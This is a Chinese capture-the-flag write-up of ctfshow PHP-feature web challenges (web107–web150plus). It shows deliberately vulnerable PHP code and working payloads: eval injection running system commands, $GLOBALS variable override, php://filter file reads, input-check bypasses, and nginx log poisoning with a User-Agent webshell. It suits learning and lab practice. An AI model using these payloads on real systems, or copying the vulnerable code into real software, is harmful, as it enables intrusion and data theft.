ctfshow-web入门-php特性(二)
web107
知识点:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){$v1 = $_POST['v1'];$v3 = $_GET['v3'];parse_str($v1,$v2);if($v2['flag']==md5($v3)){echo $flag;}
}
?>
parse_str($v1, $v2);这个函数会将$v1中的字符串根据=进行拆分,分为键和值,存储在后面定义的数组中。后面的数组变量不需要在函数外定义,这里会默认定义为数组。下面的if判断语句说明我们传入一个变量为flag,只要与传入v3值的md5值相同。
payload:
post传参:v1=flag=0e405967825401955372549139051580
get传参:?v3=QLTHNDT
web108
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){echo $flag;
}
?>
ereg()函数,存在%00截断,在检索指定字符串中存在的字符串时,遇到%00后会停止检索,而intval()函数会将数字以外的字符自动删除,所以payload为:
?c=a%00778
web109
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}
}
?>
该题目大致两种思路,一种是使用匿名类去执行系统命令,一种使用php内置的类去执行系统命令。
匿名类去执行系统命令:
v1=class{public function __construct(){system('ls');}};&v2=a
这里的匿名函数不是随便选择,__construct() 构造函数
php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。这里v2=不会起到作用,随便取值。
php内置类去执行系统命令:
Reflectionclass() CachingIterator::__toString() DirectoryIterator::__toString Error::__toString Exception::__toString pyload: ?v1= Reflectionclass&v2=system('ls') ?v1= CachingIterator&v2=system(ls) ?v1= DirectoryIterator&v2=system(ls) ?v1= Error&v2=system(ls) ?v1= Exception&v2=system(ls) ?v1=FilesystemIterator&v2=getcwd
这些函数能够使用的原因: 在输入后,函数执行首先内部开始,需要将v2函数执行的结果变为v1函数的参数,因此会优先执行v2的函数。
web110
禁用了大多数符号,因此无法执行系统命令。
使用内置类:FilesystemIterator,配合getcwd获取当前目录下的所有文件
getcwd返回当前目录
FilesystemIterator获取指定目录下的所有文件。
?v1=FilesystemIterator&v2=getcwd
扫描得到txt文件,txt可以直接访问,得到flag。
web111
<?phphighlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){eval("$$v1 = &$$v2;");var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){die("error v1");}if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){die("error v2");}if(preg_match('/ctfshow/', $v1)){getFlag($v1,$v2);}
}
?>
该题目的知识点是变量覆盖,考察了超全局变量$GLOBALS。
v1中需要出现字符串ctfshow,才能执行getflag()函数,getflag()函数是将v2的值覆盖到v1的值上,即将值传给$ctfshow。由于$flag变量属于flag.php,所以不能直接传参数给v1,要使用全局变量$GLOBALS。
即最终结果为:$ctfshow = $GLOBALS
web112
<?phphighlight_file(__FILE__); error_reporting(0); function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;} } $file=$_GET['file']; if(! is_file($file)){highlight_file(filter($file)); }else{echo "hacker!"; }php伪协议绕过,php搭配不同的过滤器,可以来读取文件。
php://filter/resource=flag.php php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php php://filter/read=convert.quoted-printable-encode/resource=flag.php compress.zlib://flag.php
常见过滤器:
convert.quoted-printable-encode convert.iconv.* zlib.deflate bzip2.compress string.rot13 string.tolower convert.base64-decode
web115
<?phpinclude('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){if($num=='36'){echo $flag;}else{echo "hacker!!";}
}else{echo "hacker!!!";
}
考察对强相等和弱相等的判断,以及对is_numeric()、trim()函数函数的绕过。
(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')绕过is_numeric()函数:利用字符串前加空格,或者利用一些特殊符号:换页符:%0c, %20,%09。
trim()函数绕过:
用法:trim(string,charlist)
规定从字符串中删除哪些字符。如果省略charlist,则移除下列所有字符:
"\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格利用换页符%0c绕过:
在执行trim()函数前后,都与36不强相等。
filter($num)==36,弱相等是先进行类型转化在进行比较,所以会去除%0c,仍然可以绕过。
($num=='36') 同理。
在 PHP 中,使用
===
和!==
进行比较时,会同时比较值和类型,而使用==
和!=
进行比较时,会进行类型转换后再比较。
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){eval("$c".";"); if($fl0g==="flag_give_me"){echo $flag;}}
}
?>
方法一:
考察php变量中出现非法字符后的处理存在缺陷,从而导致产生漏洞。
在php代码中出现点、空格等非法字符后,会将其转化位下划线_,在php8版本以前,php变量中出现中括号 "[" ,也会被转化为下划线,并且后面再出现非法字符时,不会再进行转化。在post 进行传参时,CTF_SHOW 和 CTF_SHOW.COM传入参数,fl0g不需要参数。就能够执行eval()函数,因此可构造以下payload:
CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=echo $flag方法二:
利用 $a=$_SERVER['argv'] 进行绕过:
在命令行模式下执行php脚本时,$_SERVER['argv']用来获取脚本的命令行参数:
执行以下命令: php srcipt.php php1 php2 $_SERVER['argv'][0]="script.php"; $_SERVER['argv'][1]="php1" $_SERVER['argv'][2]="php2"但是在网页模式下执行时,通常不会含有有用的信息,但是服务器可能将查询的字符串或者其他信息填充到$_SERVER['argv']中。通过以下payload:
get:$fl0g=flag_give_me; post:CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=eval($a[0])传入$fl0g,由于变量名中不包括$符号,isset($_GET['fl0g'])会检测为假,因此可以绕过过滤。
post传参绕过过滤,最终将eval($a[0])传递给$c,这个时候
$_SERVER['argv']
等价于$_SERVER['QUERY_STRING']
,用来查询字符串。当服务器访问get参数
$fl0g=flag_give_me;
时,服务器的配置会将该字符串发送到$_SERVER['argv'][0]
中,此时,eval($c) 等价于执行 eval( eval ($a[0])),就会执行eval('$fl0g=flag_give_me;'),因此'flag_give_me'字符串赋值给$fl0g,从而if($fl0g==="flag_give_me")强相等的判断语句就可以通过。
payload另一种形式:
?a=1+fl0g=flag_give_me; CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=parse_str($a[1])parse_str会将字符解析到变量中,将a参数根据+进行分割,即a[1] = 'fl0g=flag_give_me;',将该变量传给$c,执行eval()函数时,即执行eval(parse_str($a[1]);,最终仍是执行eval('$fl0g=flag_give_me;')
web125
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}} } ?>比上一题多过滤了一个flag,因此上一题的payload无法使用,可以利用变量嵌套的方法去获取flag:
get:?1=flag.php post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_light($_GET[1])利用 $a=$_SERVER['argv'] 进行绕过: get:$fl0g=flag_give_me; post:CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=eval($a[0])CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=assert($a[0]) assert 函数用于执行字符串中的 PHP 代码。
web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{private $username;private $password;private $vip;private $secret;
function __construct(){$this->vip = 0;$this->secret = $flag;}
function __destruct(){echo $this->secret;}
public function isVIP(){return $this->vip?TRUE:FALSE;}}
function __autoload($class){if(isset($class)){$class();}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}
非预期解:
该题目利用文件包含漏洞拿到shell,获取flag。满足if($isVIP && strrpos($ctf, ":")===FALSE)条件,即可执行include()函数,从而实现日志包含漏洞。
ctfshow?isVIP=True (这里是通过对类的调用使得isVIP()方法为True),从而满足include函数的执行条件。 ctf=../../../../var/log/nginx/access.log&a=system('tac flag.php'); UA头传入:一句话木马
web150plus
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{private $username;private $password;private $vip;private $secret;
function __construct(){$this->vip = 0;$this->secret = $flag;}
function __destruct(){echo $this->secret;}
public function isVIP(){return $this->vip?TRUE:FALSE;}}
function __autoload($class){if(isset($class)){$class();}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}
利用_autoload()函数可以执行非定义类,以及变量覆盖来getshell。
__autoload — 尝试加载未定义的类 最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦 原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用 __autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo